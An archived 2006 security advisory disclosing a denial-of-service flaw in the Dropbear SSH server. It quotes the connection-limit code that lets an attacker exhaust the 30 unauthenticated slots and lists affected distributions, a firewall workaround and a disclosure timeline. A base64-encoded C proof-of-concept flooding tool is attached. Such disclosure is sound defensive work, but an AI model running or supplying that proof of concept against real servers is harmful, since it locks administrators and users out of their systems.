The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Dropbear SSH server Denial of Service


<< Previous INDEX Search src / Print Next >>
Subject: Dropbear SSH server Denial of Service
From: Pablo Fernandez <pablo@littleQ.net.>
To: [email protected], [email protected]
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-PR0S3PBz56GZBu8761YR"
Date: Tue, 07 Mar 2006 19:47:57 +0000
Message-Id: <1141760877.12514.2.camel@localhost.localdomain.>
Mime-Version: 1.0
X-Mailer: Evolution 2.4.2.1 
X-Virus-Scanned: antivirus-gw at tyumen.ru


--=-PR0S3PBz56GZBu8761YR
Content-Type: multipart/mixed; boundary="=-Jeb9FFSw3QF/EEAh/FxP"


--=-Jeb9FFSw3QF/EEAh/FxP
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Dropbear SSH server Denial of Service

Credits: Pablo Fernandez
March 7th, 2006

I. BACKGROUND

Dropbear is a relatively small SSH 2 server and client. It runs on a
variety of POSIX-based platforms. Dropbear is open source software,
distributed under a MIT-style license. Dropbear is particularly useful
for "embedded"-type Linux (or other Unix) systems, such as wireless
routers.

More information is available at
http://matt.ucc.asn.au/dropbear/dropbear.html

II. DESCRIPTION

Denial of service is possible and could be trivialy launched by a remote
attacker.

The vulnerability specifically exists due to a design error in the
authorization-pending connections code. By default and as a #define of
the MAX_UNAUTH_CLIENTS constant, the SSH server allows 30
authorization-pending connections, after connection 31, incoming sockets
are close()d immediatly.

Vulnerable code is in svr-main.c

/* check for max number of connections not authorised */
for (j =3D 0; j < MAX_UNAUTH_CLIENTS; j++) {
        if (childpipes[j] < 0) {
                break;
        }
}

if (j =3D=3D MAX_UNAUTH_CLIENTS) {
        /* no free connections */
        /* TODO - possibly log, though this would be an easy way
         * to fill logs/disk */
        close(childsock);
        continue;
}

III. ANALYSIS

Remote attack of this vulnerability is trivial. This is specially
problematic if the administrator can't login due to the attack and can't
at least blacklist the attacker, restart the service or undertake other
actions.

IV. DETECTION

All versions (up to and including current 0.47 version) are vulnerable.

The following distributions are known to use or package Dropbear:

      * LEAF Bering uClibc - a small Linux firewall/network applicance
        distribution.=20
      * NetBSD Packages Collection=20
      * Debian=20
      * FreeBSD Ports=20
      * Gentoo Packages=20
      * OpenWRT - a very nice distro for WRT54G wireless routers (and
        others).=20
      * FREESCO is is a single floppy NAT/firewall router/server.=20
      * Bent Linux - a uClibc based Linux distribution, statically
        linked cpio.bz2 packages (should work on any distro)=20
      * fli4l - a one-disk-router Linux distribution=20
      * OpenZaurus - custom Linux for the Sharp Zaurus=20
      * floppyfw - a single floppy firewall Linux distribution=20
      * ttylinux - Linux to fit in 4 megabytes of disk space and run on
        386es, as an internet terminal=20
      * Sisela - single floppy Linux router/wireless AP distro=20
      * gumstix - tiny embedded Linux boards=20
      * OpenSimpad - Linux for the Siemans SIMpad, packages here
        upgrade for Linksys WiFi routers=20
      * Slackmatic=20
      * Coyote Linux - a single floppy firewall=20
      * Trinux - a lightweight Linux security toolkit=20
      * Familiar ipkg - for handhelds=20
      * Source Mage - a distribution of GNU/Linux, Dropbear is available
        as a spell.=20
      * Netcomm NB5 ADSL router - this runs Dropbear out of the box.=20
      * Dreambox linux-based DVB recorder has Dropbear on the default
        firmware.=20
      * kboot - a proof-of-concept Linux boot loader.


V. WORKAROUND

Administrators running dropbear should wait for a fix from the vendor.
In the mean time, firewalling the SSH server allowing incoming
connections just from trusted sources is adviced.

VI. VENDOR RESPONSE

The vendor has been notified and a solution is under development.

VII. CVE INFORMATION

A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.

VIII. DISCLOSURE TIMELINE

30/01/2006  Initial vendor notification
07/03/2006  Public disclosure

IX. CREDIT

Pablo Fernandez <pablo at littleQ.net> is credited with this discovery.

--=20
Pablo Fernandez Lopez
http://www.littleQ.net/

GPG: http://www.littleQ.net/pablo.asc
Fingerprint: 14A0 8343 E8FB E940 59E3  F7BB C347 869D DBB9 337F

--=-Jeb9FFSw3QF/EEAh/FxP
Content-Disposition: attachment; filename=dropbear-PoC.c
Content-Transfer-Encoding: base64
Content-Type: text/x-csrc; name=dropbear-PoC.c; charset=us-ascii

LyoqDQogKiBkcm9wYmVhci1Qb0MuYyAtLSBQcm9iZSBvZiBDb25jZXB0LCBEb1MgRHJvcGJlYXIg
U1NIIHNlcnZlcg0KICoNCiAqIEF1dGhvcjogUGFibG8gRmVybmFuZGV6IDxwYWJsbyBhdCBsaXR0
bGVRLm5ldD4NCiAqDQogKiBnY2MgZHJvcGJlYXItUG9DLmMgLW8gZHJvcGJlYXItUG9DIC1scHRo
cmVhZA0KICogLi9kcm9wYmVhci1Qb0MgLXYgMTkyLjE2OC4wLjENCiAqDQogKiovDQovKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqDQogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqDQogKiAgIFRoaXMgcHJvZ3JhbSBpcyBm
cmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5ICAqDQog
KiAgIGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2Ug
YXMgcHVibGlzaGVkIGJ5ICAqDQogKiAgIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVp
dGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vuc2UsIG9yICAgICAqDQogKiAgIChhdCB5b3VyIG9w
dGlvbikgYW55IGxhdGVyIHZlcnNpb24uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAqDQogKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICA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
IDwgYXJnYzsgaSsrKSB7DQoJCWhvc3QgPSBhcmd2W29wdGluZCsrXTsNCg0KCQlkID0gKHN0cnVj
dCBkYXRhKikgbWFsbG9jKHNpemVvZihzdHJ1Y3QgZGF0YSkpOw0KCQlkLT5wb3J0ICAgICAgICAg
ICAgICAgPSBwb3J0Ow0KCQlkLT52ZXJib3NlICAgICAgICAgICAgPSB2ZXJib3NlOw0KCQlkLT5o
b3N0ICAgICAgICAgICAgICAgPSBzdHJkdXAoaG9zdCk7DQoNCgkJcHRocmVhZF9jcmVhdGUoJih0
aHJlYWRzW2ldKSwgTlVMTCwgRG9TLCBkKTsNCgl9DQoNCglmb3IgKGkgPSAwOyBpIDwgdGFyZ2V0
czsgaSsrKSB7DQoJCXB0aHJlYWRfam9pbih0aHJlYWRzW2ldLCBOVUxMKTsNCgl9DQoNCglyZXR1
cm4gMDsNCn0NCi==


--=-Jeb9FFSw3QF/EEAh/FxP--

--=-PR0S3PBz56GZBu8761YR
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada
        digitalmente

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (GNU/Linux)

iD8DBQBEDeNtw0eGndu5M38RAuQRAKCzG0lFOIbPlr8yBKP2ZaZ1xnq6jgCgpSBC
gk1lZ6OqpsR57ny3vgSlVcs=
=b5F/
-----END PGP SIGNATURE-----

--=-PR0S3PBz56GZBu8761YR--



<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру